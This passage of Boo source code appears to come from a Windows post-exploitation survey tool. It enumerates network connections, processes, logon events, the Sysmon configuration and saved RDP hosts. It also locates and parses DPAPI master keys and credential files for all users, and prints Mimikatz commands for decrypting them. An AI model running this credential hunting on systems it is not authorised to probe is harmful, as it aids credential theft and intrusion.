Console.WriteLine(' Remote Addr:Port : {0}:{1}\r\n', RemoteAddresses, RemotePorts)
// manually move the enumerator
enumerator.MoveNext()
currentItem = enumerator.Current
Marshal.ReleaseComObject(firewallObj)
firewallObj = null
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
public static def ListDNSCache():
Console.WriteLine('\r\n\r\n=== DNS Cache (via WMI) ===\r\n')
// lists the local DNS cache via WMI (MSFT_DNSClientCache class)
try:
wmiData = ManagementObjectSearcher('root\\standardcimv2', 'SELECT * FROM MSFT_DNSClientCache')
data as ManagementObjectCollection = wmiData.Get()
for result as ManagementObject in data:
Console.WriteLine(' Entry : {0}', result['Entry'])
Console.WriteLine(' Name : {0}', result['Name'])
Console.WriteLine(' Data : {0}\r\n', result['Data'])
except ex as ManagementException:
if ex.ErrorCode == ManagementStatus.InvalidNamespace:
Console.WriteLine(" [X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)", ex.Message)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListARPTable():
// adapted from Fred's code at https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG
Console.WriteLine('\r\n\r\n=== Current ARP Table ===')
try:
adapters as Dictionary[of int, string] = Dictionary[of int, string]()
hostNames as Dictionary[of string, string] = Dictionary[of string, string]()
// build a mapping of index -> interface information
for ni as NetworkInterface in NetworkInterface.GetAllNetworkInterfaces():
if ni is not null:
adapterProperties as IPInterfaceProperties = ni.GetIPProperties()
if adapterProperties is not null:
dnsServers = ''
dnsServerList as List[of string] = List[of string]()
dnsServerCollection as IPAddressCollection = adapterProperties.DnsAddresses
if dnsServerCollection.Count > 0:
for dns as IPAddress in dnsServerCollection:
dnsServerList.Add(dns.ToString())
dnsServers = String.Join(', ', dnsServerList.ToArray())
try:
p as IPv4InterfaceProperties = adapterProperties.GetIPv4Properties()
if p is not null:
ips = ArrayList()
for info as UnicastIPAddressInformation in adapterProperties.UnicastAddresses:
if Regex.IsMatch(info.Address.ToString(), '^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$'):
// grab all the IPv4 addresses
ips.Add(info.Address.ToString())
// build a "Ethernet1 (172.16.213.246) --- Index 8" type string for the index
description as string = String.Format('{0} ({1}) --- Index {2}', ni.Name, string.Join(',', (ips.ToArray(Type.GetType('System.String')) cast (string))), p.Index)
if not String.IsNullOrEmpty(dnsServers):
description += String.Format('\r\n DNS Servers : {0}\r\n', dnsServers)
adapters.Add(p.Index, description)
except :
pass
bytesNeeded = 0
result as int = GetIpNetTable(IntPtr.Zero, bytesNeeded, false)
// call the function, expecting an insufficient buffer.
if result != ERROR_INSUFFICIENT_BUFFER:
Console.WriteLine(' [X] Exception: {0}', result)
buffer as IntPtr = IntPtr.Zero
// allocate sufficient memory for the result structure
buffer = Marshal.AllocCoTaskMem(bytesNeeded)
result = GetIpNetTable(buffer, bytesNeeded, false)
if result != 0:
Console.WriteLine(' [X] Exception allocating buffer: {0}', result)
// now we have the buffer, we have to marshal it. We can read the first 4 bytes to get the length of the buffer
entries as int = Marshal.ReadInt32(buffer)
// increment the memory pointer by the size of the int
currentBuffer = IntPtr((buffer.ToInt64() + Marshal.SizeOf(typeof(int))))
// allocate a list of entries
arpEntries as List[of MIB_IPNETROW] = List[of MIB_IPNETROW]()
for index in range(0, entries):
// cycle through the entries
arpEntries.Add((Marshal.PtrToStructure(IntPtr((currentBuffer.ToInt64() + (index * Marshal.SizeOf(typeof(MIB_IPNETROW))))), typeof(MIB_IPNETROW)) cast MIB_IPNETROW))
// sort the list by interface index
sortedARPEntries as List[of MIB_IPNETROW] = arpEntries.OrderBy({ o | return o.dwIndex }).ToList()
currentIndexAdaper as int = (-1)
for arpEntry as MIB_IPNETROW in sortedARPEntries:
indexAdapter as int = arpEntry.dwIndex
if currentIndexAdaper != indexAdapter:
if adapters.ContainsKey(indexAdapter):
Console.WriteLine('\r\n\r\n Interface : {0}', adapters[indexAdapter])
else:
Console.WriteLine('\r\n\r\n Interface : n/a --- Index {0}', indexAdapter)
Console.WriteLine(' Internet Address Physical Address Type')
currentIndexAdaper = indexAdapter
ipAddr = IPAddress(BitConverter.GetBytes(arpEntry.dwAddr))
macBytes as (byte) = (of byte: arpEntry.mac0, arpEntry.mac1, arpEntry.mac2, arpEntry.mac3, arpEntry.mac4, arpEntry.mac5)
physAddr as string = BitConverter.ToString(macBytes)
entryType = (arpEntry.dwType cast ArpEntryType)
Console.WriteLine(String.Format(' {0,-22}{1,-22}{2}', ipAddr, physAddr, entryType))
FreeMibTable(buffer)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
// helper that gets a service name from a service tag
private static def GetServiceNameFromTag(ProcessId as uint, ServiceTag as uint) as string:
serviceTagQuery = SC_SERVICE_TAG_QUERY()
res as uint = I_QueryTagInformation(IntPtr.Zero, SC_SERVICE_TAG_QUERY_TYPE.ServiceNameFromTagInformation, serviceTagQuery)
if res == ERROR_SUCCESS:
return Marshal.PtrToStringUni(serviceTagQuery.Buffer)
else:
return null
public static def ListAllTcpConnections():
AF_INET = 2
// IP_v4
tableBufferSize as uint = 0
ret as uint = 0
tableBuffer as IntPtr = IntPtr.Zero
rowPtr as IntPtr = IntPtr.Zero
ownerModuleTable as MIB_TCPTABLE_OWNER_MODULE
TcpRows as (MIB_TCPROW_OWNER_MODULE)
processes as Dictionary[of string, string] = Dictionary[of string, string]()
Console.WriteLine('\r\n\r\n=== Active TCP Network Connections ===\r\n')
try:
// Adapted from https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660
// Build a PID -> process name lookup table
searcher = ManagementObjectSearcher('SELECT * FROM Win32_Process')
retObjectCollection as ManagementObjectCollection = searcher.Get()
for Process as ManagementObject in retObjectCollection:
if Process['CommandLine'] is not null:
processes.Add(Process['ProcessId'].ToString(), Process['CommandLine'].ToString())
else:
processes.Add(Process['ProcessId'].ToString(), Process['Name'].ToString())
// Figure out how much memory we need for the result struct
ret = GetExtendedTcpTable(IntPtr.Zero, tableBufferSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_MODULE_ALL, 0)
if (ret != ERROR_SUCCESS) and (ret != ERROR_INSUFFICIENT_BUFFER):
// 122 == insufficient buffer size
Console.WriteLine(' [X] Bad check value from GetExtendedTcpTable : {0}', ret)
return
tableBuffer = Marshal.AllocHGlobal((tableBufferSize cast int))
ret = GetExtendedTcpTable(tableBuffer, tableBufferSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_MODULE_ALL, 0)
if ret != ERROR_SUCCESS:
Console.WriteLine(' [X] Bad return value from GetExtendedTcpTable : {0}', ret)
return
// get the number of entries in the table
ownerModuleTable = (Marshal.PtrToStructure(tableBuffer, typeof(MIB_TCPTABLE_OWNER_MODULE)) cast MIB_TCPTABLE_OWNER_MODULE)
rowPtr = ((tableBuffer.ToInt64() + Marshal.OffsetOf(typeof(MIB_TCPTABLE_OWNER_MODULE), 'Table').ToInt64()) cast IntPtr)
TcpRows = array(MIB_TCPROW_OWNER_MODULE, ownerModuleTable.NumEntries)
for i in range(0, ownerModuleTable.NumEntries):
tcpRow = (Marshal.PtrToStructure(rowPtr, typeof(MIB_TCPROW_OWNER_MODULE)) cast MIB_TCPROW_OWNER_MODULE)
TcpRows[i] = tcpRow
// next entry
rowPtr = (((rowPtr cast long) + Marshal.SizeOf(tcpRow)) cast IntPtr)
Console.WriteLine(' Local Address Foreign Address State PID Service ProcessName')
for entry as MIB_TCPROW_OWNER_MODULE in TcpRows:
processName = ''
try:
processName = processes[entry.OwningPid.ToString()]
except :
pass
serviceName as string = GetServiceNameFromTag(entry.OwningPid, (entry.OwningModuleInfo0 cast uint))
Console.WriteLine(String.Format(' {0,-23}{1,-23}{2,-11}{3,-6}{4,-15} {5}', ((entry.LocalAddress + ':') + entry.LocalPort), ((entry.RemoteAddress + ':') + entry.RemotePort), entry.State, entry.OwningPid, serviceName, processName))
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
ensure:
if tableBuffer != IntPtr.Zero:
Marshal.FreeHGlobal(tableBuffer)
public static def ListAllUdpConnections():
AF_INET = 2
// IP_v4
tableBufferSize as uint = 0
ret as uint = 0
tableBuffer as IntPtr = IntPtr.Zero
rowPtr as IntPtr = IntPtr.Zero
ownerModuleTable as MIB_UDPTABLE_OWNER_MODULE
UdpRows as (MIB_UDPROW_OWNER_MODULE)
processes as Dictionary[of string, string] = Dictionary[of string, string]()
Console.WriteLine('\r\n\r\n=== Active UDP Network Connections ===\r\n')
try:
// Adapted from https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660
// Build a PID -> process name lookup table
searcher = ManagementObjectSearcher('SELECT * FROM Win32_Process')
retObjectCollection as ManagementObjectCollection = searcher.Get()
for Process as ManagementObject in retObjectCollection:
if Process['CommandLine'] is not null:
processes.Add(Process['ProcessId'].ToString(), Process['CommandLine'].ToString())
else:
processes.Add(Process['ProcessId'].ToString(), Process['Name'].ToString())
// Figure out how much memory we need for the result struct
ret = GetExtendedUdpTable(IntPtr.Zero, tableBufferSize, true, AF_INET, UDP_TABLE_CLASS.UDP_TABLE_OWNER_MODULE, 0)
if (ret != ERROR_SUCCESS) and (ret != ERROR_INSUFFICIENT_BUFFER):
// 122 == insufficient buffer size
Console.WriteLine(' [X] Bad check value from GetExtendedUdpTable : {0}', ret)
return
tableBuffer = Marshal.AllocHGlobal((tableBufferSize cast int))
ret = GetExtendedUdpTable(tableBuffer, tableBufferSize, true, AF_INET, UDP_TABLE_CLASS.UDP_TABLE_OWNER_MODULE, 0)
if ret != ERROR_SUCCESS:
Console.WriteLine(' [X] Bad return value from GetExtendedUdpTable : {0}', ret)
return
// get the number of entries in the table
ownerModuleTable = (Marshal.PtrToStructure(tableBuffer, typeof(MIB_UDPTABLE_OWNER_MODULE)) cast MIB_UDPTABLE_OWNER_MODULE)
rowPtr = ((tableBuffer.ToInt64() + Marshal.OffsetOf(typeof(MIB_UDPTABLE_OWNER_MODULE), 'Table').ToInt64()) cast IntPtr)
UdpRows = array(MIB_UDPROW_OWNER_MODULE, ownerModuleTable.NumEntries)
for i in range(0, ownerModuleTable.NumEntries):
udpRow = (Marshal.PtrToStructure(rowPtr, typeof(MIB_UDPROW_OWNER_MODULE)) cast MIB_UDPROW_OWNER_MODULE)
UdpRows[i] = udpRow
// next entry
rowPtr = (((rowPtr cast long) + Marshal.SizeOf(udpRow)) cast IntPtr)
Console.WriteLine(' Local Address PID Service ProcessName')
for entry as MIB_UDPROW_OWNER_MODULE in UdpRows:
processName = ''
try:
processName = processes[entry.OwningPid.ToString()]
except :
pass
serviceName as string = GetServiceNameFromTag(entry.OwningPid, (entry.OwningModuleInfo0 cast uint))
Console.WriteLine(String.Format(' {0,-23}{1,-7}{2,-23} {3}', ((entry.LocalAddress + ':') + entry.LocalPort), entry.OwningPid, serviceName, processName))
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
ensure:
if tableBuffer != IntPtr.Zero:
Marshal.FreeHGlobal(tableBuffer)
public static def ListNonstandardProcesses():
// lists currently running processes that don't have "Microsoft Corporation" as the company name in their file info
// or all processes if "full" is passed
if FilterResults.filter:
Console.WriteLine('\r\n\r\n=== Non Microsoft Processes (via WMI) ===\r\n')
else:
Console.WriteLine('\r\n\r\n=== All Processes (via WMI) ===\r\n')
try:
wmiQueryString as string = 'SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process'
using searcher = ManagementObjectSearcher(wmiQueryString):
using results = searcher.Get():
for p as Process in Process.GetProcesses():
for mo as ManagementObject in results:
if p.Id == mo['ProcessID']:
//OLD - if ((item.Path != null) && ((!FilterResults.filter) || (!Regex.IsMatch(item.Path, "C:\\\\WINDOWS\\\\", RegexOptions.IgnoreCase))))
Path as string = mo['ExecutablePath']
_Process as Process = p
CommandLine as string = mo['CommandLine']
if Path is not null:
myFileVersionInfo as FileVersionInfo = FileVersionInfo.GetVersionInfo(Path)
companyName as string = myFileVersionInfo.CompanyName
if (String.IsNullOrEmpty(companyName) or (not FilterResults.filter)) or (not Regex.IsMatch(companyName, '^Microsoft.*', RegexOptions.IgnoreCase)):
isDotNet = false
try:
myAssemblyName as AssemblyName = AssemblyName.GetAssemblyName(Path)
isDotNet = true
except converterGeneratedName7 as System.IO.FileNotFoundException:
pass
// System.Console.WriteLine("The file cannot be found.");
except exception as System.BadImageFormatException:
if Regex.IsMatch(exception.Message, '.*This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.*', RegexOptions.IgnoreCase):
isDotNet = true
except :
pass
// System.Console.WriteLine("The assembly has already been loaded.");
Console.WriteLine(' Name : {0}', _Process.ProcessName)
Console.WriteLine(' Company Name : {0}', companyName)
Console.WriteLine(' PID : {0}', _Process.Id)
Console.WriteLine(' Path : {0}', Path)
Console.WriteLine(' CommandLine : {0}', CommandLine)
Console.WriteLine(' IsDotNet : {0}\r\n', isDotNet)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
// elevated system checks
public static def List4624Events():
eventId = '4624'
// grab events from the last X days - 7 for default, 30 for "full" collection
lastDays = 7
if not FilterResults.filter:
lastDays = 30
startTime = System.DateTime.Now.AddDays(-lastDays)
endTime = System.DateTime.Now
Console.WriteLine('\r\n\r\n=== 4624 Account Logon Events (last {0} days) ===\r\n', lastDays)
query= string.Format('*[System/EventID={0}] and *[System[TimeCreated[@SystemTime >= \'{1}\']]] and *[System[TimeCreated[@SystemTime <= \'{2}\']]]', eventId, startTime.ToUniversalTime().ToString('o'), endTime.ToUniversalTime().ToString('o'))
eventsQuery = EventLogQuery('Security', PathType.LogName, query)
eventsQuery.ReverseDirection = true
try:
logReader = EventLogReader(eventsQuery)
eventdetail as EventRecord = logReader.ReadEvent()
goto converterGeneratedName8
while true:
eventdetail = logReader.ReadEvent()
:converterGeneratedName8
break unless (eventdetail is not null)
//string SubjectUserSid = eventdetail.Properties[0].Value.ToString();
//string SubjectUserName = eventdetail.Properties[1].Value.ToString();
//string SubjectDomainName = eventdetail.Properties[2].Value.ToString();
//string SubjectLogonId = eventdetail.Properties[3].Value.ToString();
TargetUserSid as string = eventdetail.Properties[4].Value.ToString()
TargetUserName as string = eventdetail.Properties[5].Value.ToString()
TargetDomainName as string = eventdetail.Properties[6].Value.ToString()
//string TargetLogonId = eventdetail.Properties[7].Value.ToString();
//string LogonType = eventdetail.Properties[8].Value.ToString();
LogonType as string = String.Format('{0}', (Int32.Parse(eventdetail.Properties[8].Value.ToString()) cast SECURITY_LOGON_TYPE))
//string LogonProcessName = eventdetail.Properties[9].Value.ToString();
AuthenticationPackageName as string = eventdetail.Properties[10].Value.ToString()
WorkstationName as string = eventdetail.Properties[11].Value.ToString()
//string LogonGuid = eventdetail.Properties[12].Value.ToString();
//string TransmittedServices = eventdetail.Properties[13].Value.ToString();
LmPackageName as string = eventdetail.Properties[14].Value.ToString()
//string KeyLength = eventdetail.Properties[15].Value.ToString();
//string ProcessId = eventdetail.Properties[16].Value.ToString();
ProcessName as string = eventdetail.Properties[17].Value.ToString()
//string IpAddress = eventdetail.Properties[18].Value.ToString();
//string IpPort = eventdetail.Properties[19].Value.ToString();
//string ImpersonationLevel = eventdetail.Properties[20].Value.ToString();
//string RestrictedAdminMode = eventdetail.Properties[21].Value.ToString();
//string TargetOutboundUserName = eventdetail.Properties[22].Value.ToString();
//string TargetOutboundDomainName = eventdetail.Properties[23].Value.ToString();
//string VirtualAccount = eventdetail.Properties[24].Value.ToString();
//string TargetLinkedLogonId = eventdetail.Properties[25].Value.ToString();
//string ElevatedToken = eventdetail.Properties[26].Value.ToString();
// filter out SYSTEM, computer accounts, local service accounts, UMFD-X accounts, and DWM-X accounts (for now)
ignoreRegex = Regex('SYSTEM|\\$$|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON')
m as Match = ignoreRegex.Match(TargetUserName)
if not m.Success:
Console.WriteLine(' UserName : {0}', TargetUserName)
Console.WriteLine(' UserDomain : {0}', TargetDomainName)
Console.WriteLine(' UserSID : {0}', TargetUserSid)
Console.WriteLine(' ProcessName : {0}', ProcessName)
Console.WriteLine(' LogonType : {0}', LogonType)
Console.WriteLine(' AuthPKG : {0}', AuthenticationPackageName)
Console.WriteLine(' LmPackageName : {0}', LmPackageName)
Console.WriteLine(' WorkstationName : {0}', WorkstationName)
Console.WriteLine(' TimeCreated : {0}\r\n', eventdetail.TimeCreated.ToString())
//Console.WriteLine(eventdetail.FormatDescription());
//break;
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def List4648Events():
eventId = '4648'
// grab events from the last X days - 7 for default, 30 for "full" collection
lastDays = 7
if not FilterResults.filter:
lastDays = 30
startTime = System.DateTime.Now.AddDays(-lastDays)
endTime = System.DateTime.Now
Console.WriteLine('\r\n\r\n=== 4624 Explicit Credential Events (last {0} days) - Runas or Outbound RDP ===\r\n', lastDays)
query = string.Format('*[System/EventID={0}] and *[System[TimeCreated[@SystemTime >= \'{1}\']]] and *[System[TimeCreated[@SystemTime <= \'{2}\']]]', eventId, startTime.ToUniversalTime().ToString('o'), endTime.ToUniversalTime().ToString('o'))
eventsQuery = EventLogQuery('Security', PathType.LogName, query)
eventsQuery.ReverseDirection = true
try:
logReader = EventLogReader(eventsQuery)
eventdetail as EventRecord = logReader.ReadEvent()
goto converterGeneratedName9
while true:
eventdetail = logReader.ReadEvent()
:converterGeneratedName9
break unless (eventdetail is not null)
SubjectUserSid as string = eventdetail.Properties[0].Value.ToString()
SubjectUserName as string = eventdetail.Properties[1].Value.ToString()
SubjectDomainName as string = eventdetail.Properties[2].Value.ToString()
//string SubjectLogonId = eventdetail.Properties[3].Value.ToString();
//string LogonGuid = eventdetail.Properties[4].Value.ToString();
TargetUserName as string = eventdetail.Properties[5].Value.ToString()
TargetDomainName as string = eventdetail.Properties[6].Value.ToString()
//string TargetLogonGuid = eventdetail.Properties[7].Value.ToString();
TargetServerName as string = eventdetail.Properties[8].Value.ToString()
//string TargetInfo = eventdetail.Properties[9].Value.ToString();
//string ProcessId = eventdetail.Properties[10].Value.ToString();
ProcessName as string = eventdetail.Properties[11].Value.ToString()
//string IpAddress = eventdetail.Properties[12].Value.ToString();
//string IpPort = eventdetail.Properties[13].Value.ToString();
// filter out accounts (for now)
ignoreRegex = Regex('\\$$')
m as Match = ignoreRegex.Match(SubjectUserName)
if not m.Success:
Console.WriteLine(' SubjectUserName : {0}', SubjectUserName)
Console.WriteLine(' SubjectDomainName : {0}', SubjectDomainName)
Console.WriteLine(' SubjectUserSid : {0}', SubjectUserSid)
Console.WriteLine(' TargetUserName : {0}', TargetUserName)
Console.WriteLine(' TargetDomainName : {0}', TargetDomainName)
Console.WriteLine(' TargetServerName : {0}', TargetServerName)
Console.WriteLine(' ProcessName : {0}', ProcessName)
Console.WriteLine(' TimeCreated : {0}\r\n', eventdetail.TimeCreated.ToString())
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListSysmonConfig():
Console.WriteLine('\r\n\r\n=== Sysmon Configuration ===\r\n')
hashing as string = GetRegValue('HKLM', 'SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters', 'HashingAlgorithm')
if not String.IsNullOrEmpty(hashing):
Console.WriteLine(' Hashing algorithm: {0}', hashing)
options as string = GetRegValue('HKLM', 'SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters', 'Options')
if not String.IsNullOrEmpty(options):
Console.WriteLine(' Options: {0}', options)
sysmonRules as (byte) = GetRegValueBytes('HKLM', 'SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters', 'Rules')
if sysmonRules is not null:
Console.WriteLine((' Sysmon rules: ' + Convert.ToBase64String(sysmonRules)))
// user-focused checks
public static def ListCurrentDomainGroups():
try:
Console.WriteLine('\r\n\r\n=== Current User\'s Groups ===\r\n')
wi as WindowsIdentity = WindowsIdentity.GetCurrent()
groups as List[of string] = List[of string]()
for group as IdentityReference in wi.Groups:
try:
groups.Add(group.Translate(typeof(NTAccount)).ToString())
except :
pass
groups.Sort()
for group as string in groups:
Console.WriteLine(' {0}', group)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListSavedRDPConnections():
//shows saved RDP connections, including username hints (if present)
usernameHint as string
subkeys as (string)
if IsHighIntegrity():
SIDs as (string) = Registry.Users.GetSubKeyNames()
for SID as string in SIDs:
if SID.StartsWith('S-1-5') and (not SID.EndsWith('_Classes')):
subkeys = GetRegSubkeys('HKU', String.Format('{0}\\Software\\Microsoft\\Terminal Server Client\\Servers', SID))
if subkeys is not null:
Console.WriteLine('\r\n\r\n=== Saved RDP Connection Information ({0}) ===', SID)
for host as string in subkeys:
usernameHint = GetRegValue('HKCU', String.Format('Software\\Microsoft\\Terminal Server Client\\Servers\\{0}', host), 'UsernameHint')
Console.WriteLine('\r\n Host : {0}', host)
if usernameHint != '':
Console.WriteLine(' UsernameHint : {0}', usernameHint)
else:
Console.WriteLine('\r\n\r\n=== Saved RDP Connection Information (Current User) ===')
subkeys = GetRegSubkeys('HKCU', 'Software\\Microsoft\\Terminal Server Client\\Servers')
if subkeys is not null:
for host as string in subkeys:
usernameHint = GetRegValue('HKCU', String.Format('Software\\Microsoft\\Terminal Server Client\\Servers\\{0}', host), 'UsernameHint')
Console.WriteLine('\r\n Host : {0}', host)
if usernameHint != '':
Console.WriteLine(' UsernameHint : {0}', usernameHint)
public static def ListMasterKeys():
// lists any found DPAPI master keys
fileName as string
lastModified as DateTime
lastAccessed as DateTime
files as (string)
directories as (string)
userDPAPIBasePath as string
userName as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for DPAPI Master Keys (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userDPAPIBasePath = String.Format('{0}\\AppData\\Roaming\\Microsoft\\Protect\\', dir)
if System.IO.Directory.Exists(userDPAPIBasePath):
directories = Directory.GetDirectories(userDPAPIBasePath)
for directory as string in directories:
files = Directory.GetFiles(directory)
Console.WriteLine(' Folder : {0}\r\n', directory)
for file as string in files:
if Regex.IsMatch(file, '[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}'):
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
fileName = System.IO.Path.GetFileName(file)
Console.WriteLine(' MasterKey : {0}', fileName)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}\r\n', lastModified)
Console.WriteLine()
Console.WriteLine(' [*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/pvk or /rpc) to decrypt')
Console.WriteLine(' [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module')
else:
Console.WriteLine('\r\n\r\n=== Checking for DPAPI Master Keys (Current User) ===\r\n')
userName = Environment.GetEnvironmentVariable('USERNAME')
userDPAPIBasePath = String.Format('{0}\\AppData\\Roaming\\Microsoft\\Protect\\', System.Environment.GetEnvironmentVariable('USERPROFILE'))
if System.IO.Directory.Exists(userDPAPIBasePath):
directories = Directory.GetDirectories(userDPAPIBasePath)
for directory as string in directories:
files = Directory.GetFiles(directory)
Console.WriteLine(' Folder : {0}\r\n', directory)
for file as string in files:
if Regex.IsMatch(file, '[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}'):
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
fileName = System.IO.Path.GetFileName(file)
Console.WriteLine(' MasterKey : {0}', fileName)
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}\r\n', lastModified)
Console.WriteLine(' [*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/rpc) to decrypt')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListCredFiles():
// lists any found files in Local\Microsoft\Credentials\*
// jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
desc as string
descBytes as (byte)
descLen as int
stringLenArray as (byte)
guidMasterKey as Guid
guidMasterKeyArray as (byte)
credentialArray as (byte)
fileName as string
size as long
lastModified as DateTime
lastAccessed as DateTime
files as (string)
found as bool
userCredFilePath as string
userName as string
try:
if IsHighIntegrity():
Console.WriteLine('\r\n\r\n=== Checking for Credential Files (All Users) ===\r\n')
userFolder as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userFolder)
found = false
for dir as string in dirs:
parts as (string) = dir.Split(char('\\'))
userName = parts[(parts.Length - 1)]
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
userCredFilePath = String.Format('{0}\\AppData\\Local\\Microsoft\\Credentials\\', dir)
if System.IO.Directory.Exists(userCredFilePath):
systemFiles as (string) = Directory.GetFiles(userCredFilePath)
if (systemFiles is not null) and (systemFiles.Length != 0):
Console.WriteLine('\r\n Folder : {0}\r\n', userCredFilePath)
for file as string in systemFiles:
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
size = System.IO.FileInfo(file).Length
fileName = System.IO.Path.GetFileName(file)
found = true
Console.WriteLine(' CredFile : {0}', fileName)
credentialArray = File.ReadAllBytes(file)
guidMasterKeyArray = array(byte, 16)
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16)
guidMasterKey = Guid(guidMasterKeyArray)
stringLenArray = array(byte, 16)
Array.Copy(credentialArray, 56, stringLenArray, 0, 4)
descLen = BitConverter.ToInt32(stringLenArray, 0)
descBytes = array(byte, descLen)
Array.Copy(credentialArray, 60, descBytes, 0, (descLen - 4))
desc = Encoding.Unicode.GetString(descBytes)
Console.WriteLine(' Description : {0}', desc)
Console.WriteLine(' MasterKey : {0}', guidMasterKey.ToString())
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
systemFolder as string = String.Format('{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials', Environment.GetEnvironmentVariable('SystemRoot'))
files = Directory.GetFiles(systemFolder)
if (files is not null) and (files.Length != 0):
Console.WriteLine('\r\n Folder : {0}\r\n', systemFolder)
for file as string in files:
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
size = System.IO.FileInfo(file).Length
fileName = System.IO.Path.GetFileName(file)
found = true
Console.WriteLine(' CredFile : {0}', fileName)
// jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
credentialArray = File.ReadAllBytes(file)
guidMasterKeyArray = array(byte, 16)
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16)
guidMasterKey = Guid(guidMasterKeyArray)
stringLenArray = array(byte, 16)
Array.Copy(credentialArray, 56, stringLenArray, 0, 4)
descLen = BitConverter.ToInt32(stringLenArray, 0)
descBytes = array(byte, descLen)
Array.Copy(credentialArray, 60, descBytes, 0, (descLen - 4))
desc = Encoding.Unicode.GetString(descBytes)
Console.WriteLine(' Description : {0}', desc)
Console.WriteLine(' MasterKey : {0}', guidMasterKey.ToString())
Console.WriteLine(' Accessed : {0}', lastAccessed)
Console.WriteLine(' Modified : {0}', lastModified)
Console.WriteLine(' Size : {0}\r\n', size)
if found:
Console.WriteLine(' [*] Use the Mimikatz "dpapi::cred" module with appropriate /masterkey to decrypt')
Console.WriteLine(' [*] You can extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module')
else:
Console.WriteLine('\r\n\r\n=== Checking for Credential Files (Current User) ===\r\n')
userName = Environment.GetEnvironmentVariable('USERNAME')
userCredFilePath = String.Format('{0}\\AppData\\Local\\Microsoft\\Credentials\\', System.Environment.GetEnvironmentVariable('USERPROFILE'))
found = false
if System.IO.Directory.Exists(userCredFilePath):
files = Directory.GetFiles(userCredFilePath)
Console.WriteLine(' Folder : {0}\r\n', userCredFilePath)
for file as string in files:
lastAccessed = System.IO.File.GetLastAccessTime(file)
lastModified = System.IO.File.GetLastWriteTime(file)
size = System.IO.FileInfo(file).Length
fileName = System.IO.Path.GetFileName(file)
found = true
Console.WriteLine(' CredFile : {0}', fileName)
// jankily parse the bytes to extract the credential type and master key GUID
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
credentialArray = File.ReadAllBytes(file)
guidMasterKeyArray = array(byte, 16)
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16)
guidMasterKey = Guid(guidMasterKeyArray)
stringLenArray = array(byte, 16)
